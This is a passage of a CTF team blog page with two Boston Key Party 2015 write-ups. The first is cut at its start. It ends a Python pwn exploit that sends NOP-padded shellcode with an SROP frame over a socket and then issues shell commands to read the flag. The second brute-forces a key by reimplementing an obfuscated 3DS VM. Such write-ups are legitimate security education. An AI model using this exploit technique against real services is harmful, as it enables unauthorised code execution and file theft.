class="number">40</span></span><br><span class="line"> </span><br><span class="line"> sleep(<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line"> payload = SHELLCODE</span><br><span class="line"> payload = payload.ljust(<span class="number">0x800</span>, <span class="string">"\x90"</span>)</span><br><span class="line"> payload += stack</span><br><span class="line"> <span class="keyword">print</span> <span class="string">"payload:"</span>, len(payload)</span><br><span class="line"> <span class="keyword">assert</span>(len(payload) <= <span class="number">0x1000</span>)</span><br><span class="line"></span><br><span class="line"> sleep(<span class="number">1</span>)</span><br><span class="line"> sock.sendall(payload)</span><br><span class="line"> sleep(<span class="number">0.1</span>)</span><br><span class="line"></span><br><span class="line"> sock.sendall(<span class="string">"ls\n"</span>)</span><br><span class="line"> sock.sendall(<span class="string">"ls /home\n"</span>)</span><br><span class="line"> sock.sendall(<span class="string">"ls /home/fuckup\n"</span>)</span><br><span class="line"> sock.sendall(<span class="string">"ls /home/fuckup/flag\n"</span>)</span><br><span class="line"> sock.sendall(<span class="string">"ls /home/fuckup/*flag*\n"</span>)</span><br><span class="line"> sock.sendall(<span class="string">"cat /home/fuckup/*flag*\n"</span>)</span><br><span class="line"></span><br><span class="line"> sleep(<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line"> resp = <span class="string">""</span></span><br><span class="line"> resp += sock.recv(<span class="number">65535</span>)</span><br><span class="line"> <span class="keyword">if</span> resp == <span class="string">''</span> <span class="keyword">or</span> resp == <span class="string">'\n'</span>:</span><br><span class="line"> <span class="keyword">raise</span> Exception(<span class="string">"Failed"</span>)</span><br><span class="line"> <span class="keyword">print</span> [resp]</span><br><span class="line"> raw_input()</span><br><span class="line"> </span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</span><br><span class="line"> i = <span class="number">1</span></span><br><span class="line"> <span class="keyword">while</span> <span class="keyword">True</span>:</span><br><span class="line"> <span class="keyword">print</span> <span class="string">"\nTry {}:"</span>.format(i)</span><br><span class="line"> <span class="keyword">try</span>:</span><br><span class="line"> main()</span><br><span class="line"> <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line"> <span class="keyword">print</span> e</span><br><span class="line"> <span class="keyword">pass</span></span><br><span class="line"> i += <span class="number">1</span></span><br></pre></td></tr></table></figure>
<p>Using <a href="https://github.com/eQu1NoX/srop-poc/blob/master/Frame.py" target="_blank" rel="external">Frame.py</a>.</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">['\nbin\nboot\ndev\netc\nhome\ninitrd.img\ninitrd.img.old\nlib\nlib64\nlost+found\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsrv\nsys\ntmp\nusr\nvar\nvmlinuz\nvmlinuz.old\nfuckup\nubuntu\nflag\nfuckup\n/home/fuckup/flag\n/home/fuckup/flag\nThe flag is: z3 always helps\n']</span><br></pre></td></tr></table></figure>
<p>##Summary</p>
<p>Sleep enough not to misread disas.</p>
<p>written by hugeh0ge(<a href="https://twitter.com/hugeh0ge" target="_blank" rel="external">@hugeh0ge</a>)</p>
</div>
<footer>
<div class="clearfix"></div>
</footer>
</div>
</article>
<article class="post">
<div class="post-content">
<header>
<div class="icon"></div>
<time datetime="2015-03-02T12:54:08.000Z"><a href="/2015/03/02/bkpctf2015-oakgrove-writeup/">2015-03-02</a></time>
<h1 class="title"><a href="/2015/03/02/bkpctf2015-oakgrove-writeup/">Boston Key Party CTF 2015 - Oak Grove (rev300) Writeup</a></h1>
</header>
<div class="entry">
<blockquote>
<p>This crappy 3ds homebrew is protected by some anti-piracy scheme. Can you crack it? : 300<br><a href="http://bostonkeyparty.net/3ds.3dsx.aea77af56f33d08026adf0a3c9fcdaf5OD" target="_blank" rel="external">http://bostonkeyparty.net/3ds.3dsx.aea77af56f33d08026adf0a3c9fcdaf5OD</a></p>
</blockquote>
<p>The binary is a 3DS homebrew for NINJHAX and is in 3DSX format. After several minutes of googling, we found out that there is no IDA Loader for 3DSX at the moment of BKP. We wrote simple IDA Loader for 3DSX and analyzed the binary using IDA. (We don’t publish the loader because another player published a better one after the BKP :) <a href="https://github.com/0xEBFE/3DSX-IDA-PRO-Loader" target="_blank" rel="external">https://github.com/0xEBFE/3DSX-IDA-PRO-Loader</a>)</p>
<p>The homebrew is obfuscated by the virtual machine. This virtual machine is slightly buggy (missing break in a switch case, pop on an empty stack). Manual analysis found that the VM code reads 16 bytes from a file ‘SHiT’ and compares the contents char by char with embedded values. The VM code increments a counter (dword_33BC0) as characters match the embedded values. If the counter is 100 at the end of VM code, the homebrew outputs ‘Winner, please submit your flag!’.</p>
<p>As reverse-engineering of the whole obfuscated VM code seemed to be troublesome and easy to mistake, we implemented the same virtual machine in Python and did bruteforce for SHiT.</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python3</span></span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"><span class="keyword">import</span> string</span><br><span class="line"></span><br><span class="line">FLAGLEN = <span class="number">16</span></span><br><span class="line">CHARS = bytes(string.printable, <span class="string">'ascii'</span>)</span><br><span class="line">CODE = <span class="string">b''</span></span><br><span class="line"><span class="keyword">with</span> open(<span class="string">'3ds.3dsx.aea77af56f33d08026adf0a3c9fcdaf5OD'</span>, <span class="string">'rb'</span>) <span class="keyword">as</span> f:</span><br><span class="line"> f.seek(<span class="number">0x2abd4</span>)</span><br><span class="line"> CODE = f.read(<span class="number">0x1d0</span>)</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">VirtualMachine</span><span class="params">(object)</span>:</span></span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">__init__</span><span class="params">(self, code, flag)</span>:</span></span><br><span class="line"> self.dword_33BC0 = self.R7 = self.ip = <span class="number">0</span></span><br><span class="line"> self.stack = []</span><br><span class="line"> self.flag = flag</span><br><span class="line"> self.code = code</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">getb</span><span class="params">(self)</span>:</span></span><br><span class="line"> val = self.code[self.ip]</span><br><span class="line"> self.ip += <span class="number">1</span></span><br><span class="line"> <span class="keyword">return</span> val</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">jmp</span><span class="params">(self, n)</span>:</span></span><br><span class="line"> self.ip += n</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">push</span><span class="params">(self, val)</span>:</span></span><br><span class="line"> self.stack.append(val)</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">pop</span><span class="params">(self)</span>:</span></span><br><span class="line"> <span class="keyword">try</span>:</span><br><span class="line"> <span class="keyword">return</span> self.stack.pop()</span><br><span class="line"> <span class="keyword">except</span> IndexError:</span><br><span class="line"> self.log(<span class="string">'empty pop'</span>)</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span></span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">log</span><span class="params">(self, msg)</span>:</span></span><br><span class="line"> <span class="comment">#print('[*] %04x: %s' % (self.ip, msg), file=sys.stderr)</span></span><br><span class="line"> <span class="keyword">pass</span></span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">inst11</span><span class="params">(self)</span>:</span></span><br><span class="line"> arg1 = self.getb()</span><br><span class="line"> <span class="keyword">if</span> self.R7 == <span class="number">0</span>:</span><br><span class="line"> self.jmp(arg1)</span><br><span class="line"> self.inst57()</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">inst57</span><span class="params">(self)</span>:</span></span><br><span class="line"> arg1 = self.getb()</span><br><span class="line"> self.push((self.pop() ^ arg1) & <span class="number">0xff</span>)</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">inst48</span><span class="params">(self)</span>:</span></span><br><span class="line"> filename = <span class="string">''</span></span><br><span class="line"> ch = <span class="number">-1</span></span><br><span class="line"> <span class="keyword">while</span> ch != <span class="number">0</span>:</span><br><span class="line"> ch = self.pop()</span><br><span class="line"> filename += chr(ch)</span><br><span class="line"> self.log(<span class="string">'fopen("%s", "r")'</span> % filename)</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">inst51</span><span class="params">(self)</span>:</span></span><br><span class="line"> self.log(<span class="string">'exit(0)'</span>)</span><br><span class="line"> <span class="keyword">raise</span> Exception(<span class="string">'exit'</span>)</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">inst17</span><span class="params">(self)</span>:</span></span><br><span class="line"> self.pop()</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">inst40</span><span class="params">(self)</span>:</span></span><br><span class="line"> self.log(<span class="string">'getchar()'</span>)</span><br><span class="line"> self.push(self.flag.pop())</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">inst0</span><span class="params">(self)</span>:</span></span><br><span class="line"> self.log(<span class="string">'unk_0'</span>)</span><br><span class="line"> <span class="comment"># Not Implemented</span></span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">inst52</span><span class="params">(self)</span>:</span></span><br><span class="line"> arg1 = self.getb()</span><br><span class="line"> self.push((self.pop() - arg1) & <span class="number">0xff</span>)</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">inst49</span><span class="params">(self)</span>:</span></span><br><span class="line"> arg1 = self.getb()</span><br><span class="line"> self.push(arg1)</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">inst27</span><span class="params">(self)</span>:</span></span><br><span class="line"> self.push(<span class="number">0</span>)</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">inst20</span><span class="params">(self)</span>:</span></span><br><span class="line"> self.push(len(self.stack))</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">inst59</span><span class="params">(self)</span>:</span></span><br><span class="line"> v1 = self.pop()</span><br><span class="line"> v2 = self.pop()</span><br><span class="line"> self.push(v1)</span><br><span class="line"> self.push(v2)</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">inst24</span><span class="params">(self)</span>:</span></span><br><span class="line"> self.dword_33BC0 += <span class="number">1</span></span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">inst46</span><span class="params">(self, )</span>:</span></span><br><span class="line"> self.push((self.pop() * arg1) & <span class="number">0xff</span>)</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">inst43</span><span class="params">(self, )</span>:</span></span><br><span class="line"> arg1 = self.getb()</span><br><span class="line"> <span class="keyword">if</span> self.R7 != <span class="number">0</span>:</span><br><span class="line"> self.jmp(arg1)</span><br><span class="line"> self.R7 = <span class="number">1</span></span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">inst42</span><span class="params">(self)</span>:</span></span><br><span class="line"> self.push((self.pop() + <span class="number">1</span>) & <span class="number">0xff</span>)</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">inst38</span><span class="params">(self)</span>:</span></span><br><span class="line"> self.push(<span class="number">0</span>)</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">inst37</span><span class="params">(self)</span>:</span></span><br><span class="line"> self.push((self.pop() - <span class="number">1</span>) & <span class="number">0xff</span>)</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">inst36</span><span class="params">(self)</span>:</span></span><br><span class="line"> self.log(<span class="string">'cmp'</span>)</span><br><span class="line"> arg1 = self.getb()</span><br><span class="line"> val = self.pop()</span><br><span class="line"> self.R7 = <span class="number">1</span> <span class="keyword">if</span> val == arg1 <span class="keyword">else</span> <span class="number">0</span></span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">inst34</span><span class="params">(self)</span>:</span></span><br><span class="line"> arg1 = self.getb()</span><br><span class="line"> self.push((self.pop() + arg1) & <span class="number">0xff</span>)</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">run</span><span class="params">(self)</span>:</span></span><br><span class="line"> instdict = {</span><br><span class="line"> <span class="number">11</span>:self.inst11,</span><br><span class="line"> <span class="number">57</span>:self.inst57,</span><br><span class="line"> <span class="number">48</span>:self.inst48,</span><br><span class="line"> <span class="number">51</span>:self.inst51,</span><br><span class="line"> <span class="number">17</span>:self.inst17,</span><br><span class="line"> <span class="number">56</span>:self.inst17, <span class="comment"># same</span></span><br><span class="line"> <span class="number">40</span>:self.inst40,</span><br><span class="line"> <span class="number">0</span>:self.inst0,</span><br><span class="line"> <span class="number">52</span>:self.inst52,</span><br><span class="line"> <span class="number">49</span>:self.inst49,</span><br><span class="line"> <span class="number">27</span>:self.inst27,</span><br><span class="line"> <span class="number">20</span>:self.inst20,</span><br><span class="line"> <span class="number">59</span>:self.inst59,</span><br><span class="line"> <span class="number">24</span>:self.inst24,</span><br><span class="line"> <span class="number">46</span>:self.inst46,</span><br><span class="line"> <span class="number">43</span>:self.inst43,</span><br><span class="line"> <span class="number">42</span>:self.inst42,</span><br><span class="line"> <span class="number">38</span>:self.inst38,</span><br><span class="line"> <span class="number">37</span>:self.inst37,</span><br><span class="line"> <span class="number">36</span>:self.inst36,</span><br><span class="line"> <span class="number">34</span>:self.inst34,</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">while</span> self.ip < len(self.code):</span><br><span class="line"> inst = self.getb() - <span class="number">0x3f</span></span><br><span class="line"> <span class="keyword">if</span> inst <span class="keyword">not</span> <span class="keyword">in</span> instdict:</span><br><span class="line"> self.log(<span class="string">'Undefined instruction'</span>)</span><br><span class="line"> <span class="keyword">continue</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">try</span>:</span><br><span class="line"> instdict[inst]()</span><br><span class="line"> <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line"> <span class="keyword">if</span> e.args[<span class="number">0</span>] == <span class="string">'exit'</span>:</span><br><span class="line"> <span class="keyword">break</span></span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> <span class="keyword">raise</span> e</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> self.dword_33BC0</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">_bruteforce_flag</span><span class="params">(flag)</span>:</span></span><br><span class="line"> cntdict = {}</span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> (i <span class="keyword">for</span> i, v <span class="keyword">in</span> enumerate(flag) <span class="keyword">if</span> v == <span class="number">0</span>):</span><br><span class="line"> <span class="keyword">for</span> ch <span class="keyword">in</span> CHARS:</span><br><span class="line"> flagcand = flag[::]</span><br><span class="line"> flagcand[i] = ch</span><br><span class="line"></span><br><span class="line"> vm = VirtualMachine(CODE, flagcand[::])</span><br><span class="line"> cntdict[tuple(flagcand)] = vm.run()</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> cntdict</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">bruteforce_flag</span><span class="params">(flag, prevcnt)</span>:</span></span><br><span class="line"> cntdict = _bruteforce_flag(flag)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">for</span> k <span class="keyword">in</span> (k <span class="keyword">for</span> k <span class="keyword">in</span> cntdict <span class="keyword">if</span> cntdict[k] > prevcnt):</span><br><span class="line"> cnt = cntdict[k]</span><br><span class="line"> <span class="keyword">if</span> cnt == <span class="number">100</span>:</span><br><span class="line"> print(bytes(k).decode(<span class="string">'ascii'</span>)[::<span class="number">-1</span>])</span><br><span class="line"> quit()</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> bruteforce_flag(list(k), cnt)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">main</span><span class="params">()</span>:</span></span><br><span class="line"> flag = [<span class="number">0</span>] * FLAGLEN</span><br><span class="line"> bruteforce_flag(flag, <span class="number">0</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</span><br><span class="line"> main()</span><br></pre></td></tr></table></figure>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">% time ./bruteforce.py</span><br><span class="line">r_u_t34m_g473w4y</span><br><span class="line">./bruteforce.py 6.02s user 0.00s system 99% cpu 6.021 total</span><br><span class="line">%</span><br></pre></td></tr></table></figure>
<p>written by op(<a href="https://twitter.com/6f70" target="_blank" rel="external">@6f70</a>)</p>
</div>
<footer>
<div class="clearfix"></div>
</footer>
</div>
</article>
<nav id="pagination">
<div class="clearfix"></div>
</nav></div></div>
<aside id="sidebar" class="alignright">
<div class="search">
<form action="//google.com/search" method="get" accept-charset="utf-8">
<input type="search" name="q" results="0" placeholder="Suche">
<input type="hidden" name="q" value="site:binja.github.io">
</form>
</div>
<div class="widget tag">
<h3 class="title">Tags</h3>
<ul class="entry">
<li><a href="/tags/pwn/">pwn</a><small>2</small></li>
<li><a href="/tags/rev/">rev</a><small>1</small></li>
<li><a href="/tags/writeup/">writeup</a><small>3</small></li>
</ul>
</div>
</aside>
<div class="clearfix"></div>
</div>
<footer id="footer" class="inner"><div class="alignleft">
© 2017 binja
</div>
<div class="clearfix"></div></footer>
<script src="//ajax.googleapis.com/ajax/libs/jquery/2.0.3/jquery.min.js"></script>
<script src="/js/jquery.imagesloaded.min.js"></script>
<script src="/js/gallery.js"></script>
<link rel="stylesheet" href="/fancybox/jquery.fancybox.css" media="screen" type="text/css">
<script src="/fancybox/jquery.fancybox.pack.js"></script>
<script type="text/javascript">
(function($){
$('.fancybox').fancybox();
})(jQuery);
</script>
</body>
</html>